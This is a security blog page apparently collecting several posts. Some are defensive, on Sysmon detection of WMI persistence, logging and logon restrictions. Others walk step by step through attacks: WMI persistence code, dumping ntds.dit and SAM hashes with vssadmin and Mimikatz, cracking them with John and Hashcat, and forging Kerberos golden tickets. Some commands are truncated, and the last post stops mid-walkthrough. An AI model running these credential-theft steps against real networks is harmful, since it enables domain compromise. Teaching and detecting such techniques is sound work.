Security, et al

Randy's Blog on Infosec and Other Stuff

Catch Malware Hiding in WMI with Sysmon

Mon, 25 Jun 2018 16:42:00 GMT

Security is an ever-escalating arms race. The good guys have gotten better about monitoring the file system for artifacts of advanced threat actors. They in turn are avoiding the file system and burrowing deeper into Windows to find places to store their malware code and dependably trigger its execution in order to gain persistence between reboots.

For decades the Run and RunOnce keys in the registry have been favorite bad guy locations for persistence but we know to monitor them using Windows auditing for sysmon. So, attackers in the know have moved on to WMI.

WMI is such a powerful area of Windows for good or evil. Indeed, the bad guys have found effective ways to hide and persist malware in WMI. In this article I’ll show you a particularly sophisticated way to persist malware with WMI Event Filters and Consumers.

WMI allows you to link these 2 objects in order to execute a custom action whenever specified things happen in Windows. WMI events are related to but more general than the events we all know and love in the event log. WMI events include system startup, time intervals, program execution and many, many other things. You can define a __EventFilter which is basically a WQL query that specifies what events you want to catch in WMI. This is a permanent object saved in the WMI repository. It’s passive until you create a consumer and link them with a binding. The WMI event consumer defines what the system should do with any events caught by the filter. There are different kinds of event consumers for action like running a script, executing a command line, sending an email or writing to a log file. Finally, you link the filter and consumer with a __FilterToConsumerBinding. After saving the binding, everything is now active and whenever events matching the filter occur, they are fed to the consumer. 

So how would an attacker cause his malware to start up each time Windows reboots? Just create a filter that catches some event that happens shortly after startup. Here’s what PowerSploit uses for that purpose:

SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320

Then you create a WMI Event Consumer which is another permanent object stored in the WMI Repository. Here’s some VB code adapted from mgeeky’s WMIPersistence.vbs script on Github. It’s incomplete, but edited for clarity. If you want to play with this functionality refer to

Set objInstances2 = objService1.Get("CommandLineEventConsumer") 
Set consumer = objInstances2.Spawninstance_ = “MyConsumer”
consumer.CommandLineTemplate = “c:\bad\malware.exe”

So now you have a filter that looks for when the system has recently started up and a consumer which runs c:\bad\malware.exe but nothing’s going to happen until they are linked like this:

Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
Set binding = objInstances3.Spawninstance_
binding.Filter = "__EventFilter.Name=""MyFilter"""
binding.Consumer = "CommandLineEventConsumer.Name=""MyConsumer"""

So now you have a filter that looks for when the system has recently started up and a consumer which runs c:\bad\malware.exe.

As a good guy (or girl) how do you catch something like this? There are no events in the Windows Security Log, but thankfully Sysmon 6.10 added 3 new events for catching WMI Filter and Consumer Activity as well as the binding which makes them active.

Sysmon Event ID


19 - WmiEventFilter activity detected

WmiEventFilter activity detected:

EventType: WmiFilterEvent

UtcTime: 2018-04-11 16:26:16.327

Operation: Created

User: LAB\rsmith

EventNamespace:  "root\\cimv2"

Name:  "MyFilter"

Query:  "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"

20 - WmiEventConsumer activity detected

WmiEventConsumer activity detected:

EventType: WmiConsumerEvent

UtcTime: 2018-04-11 16:26:16.360

Operation: Created

User: LAB\rsmith

Name:  "MyConsumer"

Type: Command Line

Destination:  "c:\\bad\\malware.exe "

21 - WmiEventConsumerToFilter activity detected

WmiEventConsumerToFilter activity detected:

EventType: WmiBindingEvent

UtcTime: 2018-04-11 16:27:02.565

Operation: Created

User: LAB\rsmith

Consumer:  "CommandLineEventConsumer.Name=\"MyConsumer\""

Filter:  "__EventFilter.Name=\"MyFilter\""

As you can see, the events provide full details so that you can analyze the WMI operations to determine if they are legitimate or malicious. From event ID 19 I can see that the filter is looking for system startup. Event Id 20 shows me the name of the program that executes and I can see from event ID 21 that they are linked.

If you add these events to your monitoring you’ll want to analyze activity for a while in order whitelist the regular, legitimate producers of these events in your particular environment. 


That’s persistence via WMI for you, but you might have noted that we are not file-less at this point; my malware is just a conventional exe in c:\bad. To stay off the file system, bad guys have resorted to creating new WMI classes and storing their logic in a PowerShell script in a property on that class. Then they set up a filter that kicks off a short PowerShell command that retrieves their larger code from the custom WMI Class and calls. Usually this is combined with some obfuscation like base64 encoding and maybe encryption too.

This article by Randy Smith was originally published by EventTracker

email this digg reddit dzone
comments (0)references (0)

5 Indicators of Endpoint Evil
Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
Severing the Horizontal Kill Chain: The Role of Micro-Segmentation in Your Virtualization Infrastructure
Anatomy of a Hack Disrupted: How one of SIEM’s out-of-the-box rules caught an intrusion and beyond

For of all sad words of tongue or pen, the saddest are these: 'We weren’t logging’

Tue, 12 Jun 2018 13:24:22 GMT

It doesn’t rhyme and it’s not what Whittier said but it’s true. If you don’t log it when it happens, the evidence is gone forever. I know personally of many times where the decision was made not to enable logging and was later regretted when something happened that could have been explained, attributed or proven had the logs been there. On the bright-side there’re plenty of opposite situations where thankfully the logs were there when needed. In fact, in a recent investigation we happened to enable a certain type of logging hours before the offender sent a crucial email that became the smoking gun in the case thanks to our ability to correlate key identifying information between the email and log.

Why don’t we always enable auditing everywhere? Sometimes it’s simple oversight but more often the justification is:

  • We can’t afford to analyze it with our SIEM
  • We don’t have a way to collect it
  • It will bog down our system

Let’s deal with each of those in turn and show why they aren’t valid.

We can’t afford to analyze it with our SIEM

Either because of hardware resources, scalability constraints or volume-based licensing organizations limit what logging they enable. Let’s just assume you really can’t upgrade your SIEM for whatever reason. That doesn’t stop you from at least enabling the logging. Maybe it doesn’t get analyzed for intrusion detection. But at least it’s there (the most recent activity anyway) when you need it. Sure, audit logs aren’t safe and shouldn’t be left on the system where they are generated but I’d still rather have logging turned on even if it just sits there being overwritten. Many times, that’s been enough to explain/attribute/prove what happened. But here’s something else to consider, even if you can’t analyze it “live” in your SIEM, doesn’t mean you have to leave it on the system where it’s generated – where’s it’s vulnerable to deletion or overwriting as it ages out. At least collect the logs into a central, searchable archive like open-source Elastic.

We don’t have a way to collect it

That just doesn’t work either. If your server admins or workstation admins push back against installing an agent, you don’t have to resort to remote polling-based log collection. On Windows use native Windows Event Forwarding and on Linux use syslog. Both technologies are agentless and efficient. And Windows Event Forwarding is resilient. You can even define noise filters so that you don’t clog your network and other resources with junk events.

Logging will bog down our system

This bogey-man is still active. But it’s just not based on fact. I’ve never encountered a technology or installation where properly configured auditing made a material impact on performance. And today storage is cheap and you only need to worry about scheduling and compression on the tiniest of network pipes – like maybe a ship with a satellite IP link. Windows auditing is highly configurable and as noted earlier you can further reduce volume by filtering noise at the source. SQL Server auditing introduced in 2008 is even more configurable and efficient. If management is serious they will require this push-back be proven in tests and – if you carefully configure your audit policy and output destination - likely the tests will show auditing has negligible impact. 

When it comes down to it, you can’t afford not to log. Even if today you can’t collect and analyze all your logs in real-time at least turn on logging in each system and application. And keep working to expand collection and analysis. You won’t regret it.

This article by Randy Smith was originally published by EventTracker

email this digg reddit dzone
comments (0)references (0)

5 Indicators of Endpoint Evil
Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
Severing the Horizontal Kill Chain: The Role of Micro-Segmentation in Your Virtualization Infrastructure
Live with Dell at RSA 2015

Experimenting with Windows Security: Controls for Enforcing Policies

Thu, 15 Mar 2018 19:10:31 GMT

Interest continues to build around pass-the-hash and related credential artifact attacks, like those made easy by Mimikatz. The main focus surrounding this subject has been hardening Windows against credential attacks, cleaning up artifacts left behind, or at least detecting PtH and related attacks when they occur.

All of this is important – especially because end-users must logon to end-user workstations, which are the most vulnerable systems on the network.

Privileged admin accounts are another story. Even if you eliminated pass-the-hash, golden ticket, and other credential artifact attacks, you would remain vulnerable whenever admin accounts logon to insecure endpoints.  Keystroke logging, or simply starting a process under the current user’s credentials, are viable methods for stealing or hijacking the credentials of a locally logged-on user.

So, the big lessons learned with Mimikatz and privileged accounts are to avoid using privileged credentials on lower security systems, such as any system in which web browsing or email occurs, or any type of file or content is downloaded from the internet. That’s really what ESAE (aka Red Forest) is all about. But privileged accounts aren’t limited to just the domain admin accounts contemplated by the Red Forest. There’s many other privileged accounts for member servers, applications, databases, devices, and so on.

Privileged accounts should only be used from dedicated administrative workstations maintained at the same level of security as the resources being administered.

How do you implement controls that really enforce this kind of written policy? And how do you detect attempts to circumvent?

When it comes to Windows, you have a few options:

  • Logon rights defined at the local system
  • Workstation restrictions defined on the domain account
  • Authentication silos

I’ll briefly explain each one and show how you can monitor attempts to violate the policies.

Logon Rights

There’s five logon types and corresponding “allow and deny rights” for each, with “deny” overriding “allow”, of course. You define these in group policy and they are enforced by the local systems in which the group policy objects are applied. For instance, if you have an OU for end-user Workstations and you assign “deny logon locally” to an AD admin group, those members won’t be able to logon at the console of workstations regardless of their authority.

If someone tries to violate a “deny logon” right you can catch this by looking for event ID 4625 – an account failed to logon with status or sub-status code 0xc000015b. But be aware that these events are logged via the local workstation – not on the domain controller. This is another reason to use native Windows Event Collection to get events from your workstations.

Workstation Restrictions

This is something you’d have to specify on individual user accounts as shown below in Active Directory User and Computers. This control only applies to interactive logons.

In this example, I’ve allowed Tamas to logon only at SAW1 (secure admin workstation 1). Depending on how many SAWs and admins you have, this could be tedious. If Tamas tried to logon at a different workstation, that computer would log event ID 4625 – an account failed to logon with status or sub-status code 0xC0000070. The domain controller would log event ID 4769 with failure code 0xC.

Authentication Silos

This is a new feature of AD that allows you to carve out groups of computers and users, and limit those users to those computers – centrally from AD Authentication policy silos, which are containers you can assign user accounts, computer accounts, and service accounts to. You can then assign authentication policies for this container to limit where privileged accounts can be used in the domain. When accounts are in the Protected Users security group, additional controls are applied, such as the exclusive use of the Kerberos protocol. With these capabilities, you can limit high-value account usage to high-value hosts. Learn more about silos in Implementing Win 2012 R2 Authentication Silos and the Protected Users Group to Protect Privileged Accounts from Modern Attacks.

When a user tries to logon outside the silo of permitted computers, the domain controller will log event ID 4820: A Kerberos Ticket-granting-ticket (TGT) was denied because the device does not meet the access control restrictions.

Bad guys have more methods and shrink-wrapped tools than ever to steal credentials, so it’s especially important to lock down privileged accounts and prevent artifacts of their credentials from being littered throughout your network where the bad guys can find them. Windows gives you controls for enforcing such policies and provides an audit trail when someone attempts to violate them. Remember that besides just non-compliant or forgetful admins, these events may signal a bad guy who’s successfully stolen privileged credentials but is unaware of the controls you’ve put in place. So, take these events seriously.

This article by Randy Smith was originally published by EventTracker

email this digg reddit dzone
comments (0)references (0)

Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
Severing the Horizontal Kill Chain: The Role of Micro-Segmentation in Your Virtualization Infrastructure
5 Indicators of Endpoint Evil
Experimenting with Windows Security: Controls for Enforcing Policies

Sysmon Event IDs 1, 6, 7 Report All the Binary Code Executing on Your Network

Mon, 18 Dec 2017 17:20:06 GMT

Computers do what they are told whether good or bad. One of the best ways to detect intrusions is to recognize when computers are following bad instructions – whether in binary form or in some higher-level scripting language. We’ll talk about scripting in the future but in this article, I want to focus on monitoring execution of binaries in the form of EXEs, DLLs and device drivers.

The Windows Security Log isn’t very strong in this area. Event ID 4688 tells you when a process is started and provides the name of the EXE – in current versions of Windows you thankfully get the full path – in older versions you only got the file name itself. But even full pathname isn’t enough. This is because that’s just the name of the file; the name doesn’t say anything about the contents of the file. And that’s what matters because when we see that c:\windows\notepad.exe ran how do we know if that was really the innocent notepad.exe that comes from Microsoft? It could be a completely different program altogether replaced by an intruder, or more in more sophisticated attacks, a modified version of notepad.exe that looks and behaves like notepad but also executes other malicious code.

Instead of just the name of the file we really need a hash of its contents. A hash is a relatively short, finite length mathematical digest of the bit stream of the file. Change one or more bits of the file and you get a different hash. (Alert readers will recognize that couldn’t really be true always – but in terms of probabilistic certainty it’s more than good enough to be considered true.)

Unfortunately, the Security Log doesn’t record the hash of EXEs in Event ID 4688, and even if it did, that would only catch EXEs – what about DLLs and device drivers? The internal security teams at Microsoft recognized this need gap as well as some which apparently led to Mark Russinovich, et al, to write Sysmon. Sysmon is a small and efficient program you install on all endpoints which generates a number of important security events “missing” from the Windows Security Log. In particular, sysmon logs:

  • Event Id 1 - for process creation (i.e. an EXE was started)
  • Event Id 6 – driver loaded
  • Event Id 7 – imaged loaded (i.e. an DLL was loaded)

Together these 3 events created a complete audit record of every binary file loaded (and likely executed) on a system where sysmon is installed.

But, in addition to covering DLLs and drivers, these events also provide the hash of the file contents at the time it was loaded. For instance, the event below shows that Chrome.exe was executed and tells us that the SHA 256-bit hash was 6055A20CF7EC81843310AD37700FF67B2CF8CDE3DCE68D54BA42934177C10B57.

   Process Create:

   UtcTime: 2017-04-28 22:08:22.025

   ProcessGuid: {a23eae89-bd56-5903-0000-0010e9d95e00}

   ProcessId: 6228

   Image: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

   CommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --lang=en-US --no-sandbox --service-   request-channel-token=F47498BBA884E523FA93E623C4569B94 --mojo-platform-channel-handle=3432 /prefetch:8

   CurrentDirectory: C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\

   User: LAB\rsmith

   LogonGuid: {a23eae89-b357-5903-0000-002005eb0700}

   LogonId: 0x7EB05

   TerminalSessionId: 1

   IntegrityLevel: Medium

   Hashes: SHA256=6055A20CF7EC81843310AD37700FF67B2CF8CDE3DCE68D54BA42934177C10B57

   ParentProcessGuid: {a23eae89-bd28-5903-0000-00102f345d00}

   ParentProcessId: 13220

   ParentImage: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

   ParentCommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"

Now, assuming we have the ability to analyze and remember hashes, we can detect whenever a new binary runs on our network.

Sysmon allows you to create include and exclude rules to control which binaries are logged and which hashes are computed based on an xml configuration file you supply sysmon at installation time or any time after with the /c command. Sysmon is easy to install remotely using Scheduled Tasks in Group Policy’s Preferences section. In our environment we store our sysmon.xml file centrally and have our systems periodically reapply that configuration file in case it changes. Of course, be sure to carefully control permissions where you store that configuration file.

Just because you see a new hash – doesn’t necessarily mean that you’ve been hacked. Windows systems are constantly updated with Microsoft and 3rd party patches. One of the best ways to distinguish between legitimate patches and malicious file replacements is if you can regularly whitelist known programs from a systems patched early – such as patch testing systems.

Once sysmon is installed you need to collect the Sysmon event log from each endpoint and then analyze those events – detecting new software. EventTracker is a great technology for accomplishing both of these tasks.


This article by Randy Smith was originally published by EventTracker

email this digg reddit dzone
comments (0)references (0)

Severing the Horizontal Kill Chain: The Role of Micro-Segmentation in Your Virtualization Infrastructure
Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
5 Indicators of Endpoint Evil
Live with Dell at RSA 2015

Yet Another Ransomware Can That Can be Immediately Detected with Process Tracking on Workstations

Mon, 18 Dec 2017 16:57:27 GMT

As I write this yet another ransomware attack is underway. This time it’s called Petya and it again uses SMB to spread but here’s the thing. It uses an EXE to get its work done. That’s important because there are countless ways to infect systems, with old ones being patched and new ones being discovered all the time. And you definitely want to reduce your attack surface by disabling/uninstalling unneeded features. And you want to patch systems as soon as possible. 

Those are preventive controls and they are irreplaceable in terms of defense in depth. But no layer of defense is ever a silver bullet. Patching and surface area management will never stop everything.

So we need an effective detective control that tells us as soon as something like Petya gets past our frontline preventive layers of defense. The cool thing is you can do that using nothing more than the Windows security log – or even better – Sysmon. Event ID 4688, activated by enabling Audit Process Creation for success, is a Security log event produced every time and EXE loads as a new process. 

If we simply keep a running baseline of known EXE names and compare each 4688 against that list, BAM!, you’ll know as soon as something new like Petya’s EXE’s run on your network. Of course you need to be collecting 4688s from your workstations and your SIEM needs to be able to do this kind of constant learning whitelist analysis. And you are going to get events when you install new software or patch old software. But only when new EXE names show up.

The only problem with using 4688 is it’s based on EXE name (including path). Bad guys can – but don’t usually bother to use replace known EXEs to stay below the radar. That would defeat the above scheme. So what can you do? Implement Sysmon which logs the hash of each EXE. Sysmon is a free element of Microsoft Sysinternals written by Mark Russonovich and friends. Sysmon event ID 1 (shown below) is logged the same time as 4688 (if you have both process creation auditing and Sysmon configured) but it also proves the hash of the EXE. So even if the attacker does replace a known EXE, the hash will difference, and your comparison against known hashes will fail – thus detecting a new EXE executing for the first time in your environment.

Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon
Date: 4/28/2017 3:08:22 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Computer: rfsH.lab.local
Process Create:
UtcTime: 2017-04-28 22:08:22.025
ProcessGuid: {a23eae89-bd56-5903-0000-0010e9d95e00}
ProcessId: 6228
Image: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
CommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --lang=en-US --no-sandbox --service-request-channel-token=F47498BBA884E523FA93E623C4569B94 --mojo-platform-channel-handle=3432 /prefetch:8
CurrentDirectory: C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\
User: LAB\rsmith
LogonGuid: {a23eae89-b357-5903-0000-002005eb0700}
LogonId: 0x7EB05
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=6055A20CF7EC81843310AD37700FF67B2CF8CDE3DCE68D54BA42934177C10B57
ParentProcessGuid: {a23eae89-bd28-5903-0000-00102f345d00}
ParentProcessId: 13220
ParentImage: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
ParentCommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"  

Tracking by hash will generate more false positives because anytime a known EXE is updated by the vendor, the first time the new version runs, a new hash will be generated and trip a new alarm or entry on your dashboard. But this tells you that patches are rolling out and confirms that your detection is working. And you are only notified the first time the EXE runs provided you automatically add new hashes to your whitelist. 

Whether you track new EXEs in your environment by name using the Security Log or by hash using Sysmon – do it! New process tracking is one of those highly effective, reliable and long lived, strategic controls that will alert you against other attacks that rely on EXE still beyond the horizon.

This article by Randy Smith was originally published by EventTracker

email this digg reddit dzone
comments (0)references (0)

Severing the Horizontal Kill Chain: The Role of Micro-Segmentation in Your Virtualization Infrastructure
Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
5 Indicators of Endpoint Evil
Anatomy of a Hack Disrupted: How one of SIEM’s out-of-the-box rules caught an intrusion and beyond

Cracking AD Passwords with NTDSXtract, and John the Ripper

Tue, 07 Nov 2017 13:03:48 GMT

Recently Thycotic sponsored a webinar titled "Kali Linux: Using John the Ripper, Hashcat and Other Tools to Steal Privileged Accounts".  During the webinar Randy spoke about the tools and steps to crack Active Directory domain accounts.  Here are the steps we used to do so.

Creating a shadow copy of ntds.dit and the SYSTEM file

On our domain controller we will steal the Ntds.dit file using VSSAdmin.  First we need to open an elevated command prompt.  Then we will create a copy using VSS.  Run “vssadmin create shadow /for=C:”

Using the “Shadow Copy Volume Name:” we need to extract ntds.dit using “copy ShadowCopyVolumeNameHere\windows\ntds\ntds.dit c:\files”  Note that you must use a valid target location for the copy.  In the screenshot I used c:\Files and received an error because it does not exist.  Using C:\junk, an existing directory, it worked.

We also need a copy of the SYSTEM file.  You can easily retrieve this running “reg save hklm\system c:\junk”.

You should delete the shadow copy if you are done with it.

Copy your system file and ntds.dit from Windows to your Kali Linux box.  Ignore pwd.txt since that is from other testing.


Extracting the data tables from ntds.dit using libesedb and esedbexportNow we need libesedb to extract the tables from the ntds.dit file.  If you don’t already have this installed you can get it with the following commands:  “git clone”

Now navigate to that directory using “cd libesedb/” 

We must first install the other pre-req’s using “apt-get install git autoconf automake autopoint libtool pkg-config build-essential”

Run ./

Run ./

Run chmod +x configure

Run ./configure

Run make

Run sudo make install

Run ldconfig

Navigate to cd /usr/local/bin/

Export the tables from ntds.dit by running “esedbexport -m tables /root/ntds.dit”

Copy the /usr/local/bin/ntds.dit.export folder to /root/.


Extracting the AD user account hashes using NTDSXtract

Next we have to download NTDSXtract by running this command wget

Unzip the file by running “unzip”.

Then navigate to the directory you’ve extracted it to and “cd”.

Now you must run the python script in that folder using the files you have created.  The command is “python /root/ntds.dit.export/datatable.4 /root/ntds.dit.export/link_table.7 /root/hashdumpwork --syshive /root/system --passwordhashes --lmoutfile /root/lm-out.txt --ntoutfile /root/nt-out.txt --pwdformat ophc

You may have to substitute file paths if you have exported or moved the datatable files.  The paths after lmoutfile and nt-outfile are output locations.

You will now have lm-out.txt and nt-out.txt files in your home directory.


Cracking the Hashes - Using Johnny

In Kali under Password Attacks open Johnny. 

Click Open password file and select the (PASSWD format) option. 

Select the nt-out.txt from the earlier steps and click Open. 

You should now see a list of user accounts and hashes displayed. 

Click on the Start new attack button and you should get passwords returned in the Password column.  

Note:  There are various types of attack methods under Options and a vast amount of wordlists available online.  Since this is our production environment and we use very complex passwords, we entered a few known passwords in to a custom wordlist dictionary file to expedite the cracking process.

Cracking the Hashes Using John

In Kali under Password Attacks open John

Run the following command:  john --rules=all --format=nt.old --fork=2 nt-out.txt  

As you can see in the screenshot below, John will start to crack user passwords.  You can see that someone in our domain has been creating test accounts using the same password of abc123$$. 


Cracking the Hashes Using Hashcat

In Kali under Password Attacks open hashcat.

Run the following command:  hashcat -m 1000 -a 0 nt-out.txt -o pwdhashcat.txt rockyou.txt --force --attack-mode 3 

-m is our hash type
-a 0 is our attack mode set to straight 
--attack-mode 3 was also used which is a brute-force attack
Nt-out.txt is our file from earlier steps that contains the userid’s and hashes
-o is our output file which will be named pwdhashcat.txt
Rockyou.txt is our downloaded dictionary file.  - This was downloaded off the web for this step.

Hashcat then began a brute force and dictionary attack.  You will able to see it attempting to crack password after password after password in the terminal window.  

This article was contributed by Barry Vista (

email this digg reddit dzone
comments (0)references (0)

Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
5 Indicators of Endpoint Evil
Live with Dell at RSA 2015
Severing the Horizontal Kill Chain: The Role of Micro-Segmentation in Your Virtualization Infrastructure

Cracking local windows passwords with Mimikatz, LSA dump and Hashcat

Tue, 07 Nov 2017 13:03:26 GMT

Recently Thycotic sponsored a webinar titled "Kali Linux: Using John the Ripper, Hashcat and Other Tools to Steal Privileged Accounts".  During the webinar Randy spoke about the tools and steps to crack local windows passwords.  Here are the steps we used to do so.

Extracting a copy of the SYSTEM and SAM registry hives

We need to extract and copy the SYSTEM and SAM registry hives for the local machine.  We do this by running “reg save hklm\sam” and “reg save hklm\security”. 

Dumping the hashes with Mimikatz and LSAdump

Now we must use mimikatz to dump the hashes.

We need to run “lsadump::sam” from step 1 above.  But as you can see in the screenshot below we get an error.  This is because we do not have the proper access.

We must run at elevated privileges for the command to run successfully.  We do this by running “privilege::debug” and then “token::elevate”.

Now run “log hash.txt” so that your next command will output to a txt file.

Now we can run the “lsadump::sam” from step 1 above successfully.  It will display the username and hashes for all local users.

Navigate to the directory where mimikatz is located on your machine.  In my instance it’s located in C:\Users\BarryVista\Downloads\mimikatz\x64.  Here you will find the output in the hash.txt file.

We need to edit the contents of this file to display only the username and hash in this format – username:hash

Copy this file to your Kali Linux box home folder.

Cracking the hashes using Hashcat

Run hashcat with this command: hashcat -m 1000 -a 0 --force --show --username hash.txt wordlist1.lst 

-m 1000 = hash type, in this case 1000 specifies a NTLM hash type
-a 0 = Straight attack mode
--force = ignore warnings
--show = compares hashlist with potfile; show cracked hashes
--username = enables ignoring of usernames in hashfile
hash.txt = our file with the username:hash information
wordlist1.lst = our word list with the passwords.

As you can see in the screenshot below we end up with the username, hash and password.

In this lab demo, we created a custom wordlist that contained our passwords with the exception of our real administrator password which is why it isn’t displayed. There are multiple sources on the web to download dictionary lists used for password cracking.

This article was contributed by Barry Vista (

email this digg reddit dzone
comments (0)references (0)

Live with Dell at RSA 2015
5 Indicators of Endpoint Evil
Auditing Privileged Operations and Mailbox Access in Office 365 Exchange Online
Live with LogRhythm at RSA

Extracting Password Hashes from the Ntds.dit File

Fri, 27 Oct 2017 09:26:05 GMT

AD Attack #3 – Ntds.dit Extraction

With so much attention paid to detecting credential-based attacks such as Pass-the-Hash (PtH) and Pass-the-Ticket (PtT), other more serious and effective attacks are often overlooked. One such attack is focused on exfiltrating the Ntds.dit file from Active Directory Domain Controllers. Let’s take a look at what this threat entails and how it can be performed. Then we can review some mitigating controls to be sure you are protecting your own environment from such attacks.

What is the Ntds.dit File?

The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.

By extracting these hashes, it is possible to use tools such as Mimikatz to perform pass-the-hash attacks, or tools like Hashcat to crack these passwords. The extraction and cracking of these passwords can be performed offline, so they will be undetectable. Once an attacker has extracted these hashes, they are able to act as any user on the domain, including Domain Administrators.

Performing an Attack on the Ntds.dit File

In order to retrieve password hashes from the Ntds.dit, the first step is getting a copy of the file. This isn’t as straightforward as it sounds, as this file is constantly in use by AD and locked.  If you try to simply copy the file, you will see an error message similar to:

There are several ways around this using capabilities built into Windows, or with PowerShell libraries.  These approaches include:

  1. Use Volume Shadow Copies via the VSSAdmin command
  2. Leverage the NTDSUtil diagnostic tool available as part of Active Directory
  3. Use the PowerSploit penetration testing PowerShell modules
  4. Leverage snapshots if your Domain Controllers are running as virtual machines

In this post, I’ll quickly walk you through two of these approaches: VSSAdmin and PowerSploit’s NinjaCopy.

Using VSSAdmin to Steal the Ntds.dit File

Step 1 – Create a Volume Shadow Copy

Creation of a volume shadow copy using VSSAdmin

Step 2 – Retrieve Ntds.dit file from Volume Shadow Copy

Copying Ntds.dit file from a volume shadow copy

Step 3 – Copy SYSTEM file from registry or Volume Shadow Copy. This contains the Boot Key that will be needed to decrypt the Ntds.dit file later.

Extracting the SYSTEM file through the registry

Extracting the System file from the volume shadow copy

Step 4 – Delete your tracks

Deleting the volume shadow copy that was created

Using PowerSploit NinjaCopy to Steal the Ntds.dit File

PowerSploit is a PowerShell penetration testing framework that contains various capabilities that can be used for exploitation of Active Directory.   One module is Invoke-NinjaCopy, which copies a file from an NTFS-partitioned volume by reading the raw volume.  This approach is another way to access files that are locked by Active Directory without alerting any monitoring systems.

Extracting the Ntds.dit file using Invoke-NinjaCopy command within PowerSploit.

Extracting Password Hashes

Regardless of which approach was used to retrieve the Ntds.dit file, the next step is to extract password information from the database. As mentioned earlier, the value of this attack is that once you have the files necessary, the rest of the attack can be performed offline to avoid detection. DSInternals provides a PowerShell module that can be used for interacting with the Ntds.dit file, including extraction of password hashes.

Retrieving account information from the Ntds.dit file using Get_ADDBAccount command, including NTLM hash.

Once you have extracted the password hashes from the Ntds.dit file, you are able to leverage tools like Mimikatz to perform pass-the-hash (PtH) attacks. Furthermore, you can use tools like Hashcat to crack these passwords and obtain their clear text values.  Once you have the credentials, there are no limitations to what you can do with them.

How to Protect the Ntds.dit File

The best way to stay protected against this attack is to limit the number of users who can log onto Domain Controllers, including commonly protected groups such as Domain and Enterprise Admins, but also Print Operators, Server Operators, and Account Operators. These groups should be limited, monitored for changes, and frequently recertified.

In addition, leveraging monitoring software to alert on and prevent users from retrieving files off Volume Shadow Copies will be beneficial to reduce the attack surface.

Here are the other blogs in the series:

  • AD Attack #1 – Performing Domain Reconnaissance (PowerShell) Read Now
  • AD Attack #2 – Local Admin Mapping (Bloodhound) Read Now
  • AD Attack #4 – Stealing Passwords from Memory (Mimikatz) Read Now

Watch this video and sign up for the complete Active Directory Attacks Video Training Series here (CPE Credits offered).

email this digg reddit dzone
comments (0)references (0)

5 Indicators of Endpoint Evil
Extracting Password Hashes from the Ntds.dit File
Live with Dell at RSA 2015
Cracking AD Passwords with NTDSXtract, and John the Ripper

Complete Domain Compromise with Golden Tickets

Wed, 18 Oct 2017 15:47:09 GMT

Service Account Attack #4: Golden Tickets

In this blog series, we’ve focused on ways to find and compromise Active Directory service accounts. So far, this has led us to compromise accounts which grant us limited access to the services they secure. In this final post, we are going to explore the most powerful service account in any Active Directory environment: the KRBTGT account. By obtaining the password hash for this account, an attacker is able to compromise every account within Active Directory, giving them unlimited and virtually undetectable access to any system connected to AD.

The KRBTGT Account

Every Active Directory domain controller is responsible for handling Kerberos ticket requests, which are used to authenticate users and grant them access to computers and applications. The KRBTGT account is used to encrypt and sign all Kerberos tickets within a domain, and domain controllers use the account password to decrypt Kerberos tickets for validation. This account password never changes, and the account name is the same in every domain, so it is a well-known target for attackers. KRBTGT account targeted by attackers who want to use the KRBTGT password to forge Kerberos tickets (TGTs)

Golden Tickets

Using Mimikatz, it is possible to leverage the password information for the KRBTGT account to create forged Kerberos tickets (TGTs) which can be used to request TGS tickets for any service on any computer in the domain.

To create golden tickets, the following information will be needed:

  • KRBTGT account password hash – This is the most important piece of information needed to create golden tickets. This will only be available by gaining elevated rights to a domain controller.
  • Domain name and SID – The name and SID of the domain to which the KRBTGT account belongs.

That’s really about it. Let’s take a look at how to gather this information and create golden tickets step-by-step.

Step 1 – Gather KRBTGT Password Information

This is the hardest part of the attack and it requires gaining privileged access to a domain controller. Once you are able to log on interactively or remotely to a domain controller, you can use Mimikatz to extract the password hash. The simplest command to issue to gather this information with Mimikatz is:


lsadump::lsa /inject /name:krbtgt

This will output the necessary password hash, as well as the domain SID information. Using Mimikatz to extract the password hash of the KRBTGT account and the Domain SID with the command lsadump::lsa

Step 2 – Create Golden Tickets

Now that the necessary information has been obtained, you can create golden tickets using Mimikatz. Golden tickets can be created for valid domain accounts, or for accounts that do not exist. Some of the parameters you may want to leverage when creating golden tickets include:

  • User – The name of the user account the ticket will be created for. This can be a real account name but it doesn’t have to be.
  • ID – The RID of the account you will be impersonating. This could be a real account ID, such as the default administrator ID of 500, or a fake ID.
  • Groups – A list of groups to which the account in the ticket will belong. This will include Domain Admins by default so the ticket will be created with the maximum privileges.
  • SIDs – This will insert a SID into the SIDHistory attribute of the account in the ticket. This is useful to authenticate across domains

In this example, I am creating a ticket for a fake user, but providing the default administrator ID. We will see later when I use this ticket how the User and ID come into play. I also issue use “ptT” to inject the created ticket into the current session. Using Mimikatz to create a Golden Ticket for a fake user while providing the default administrator ID and using ptt to inject the ticket into the session

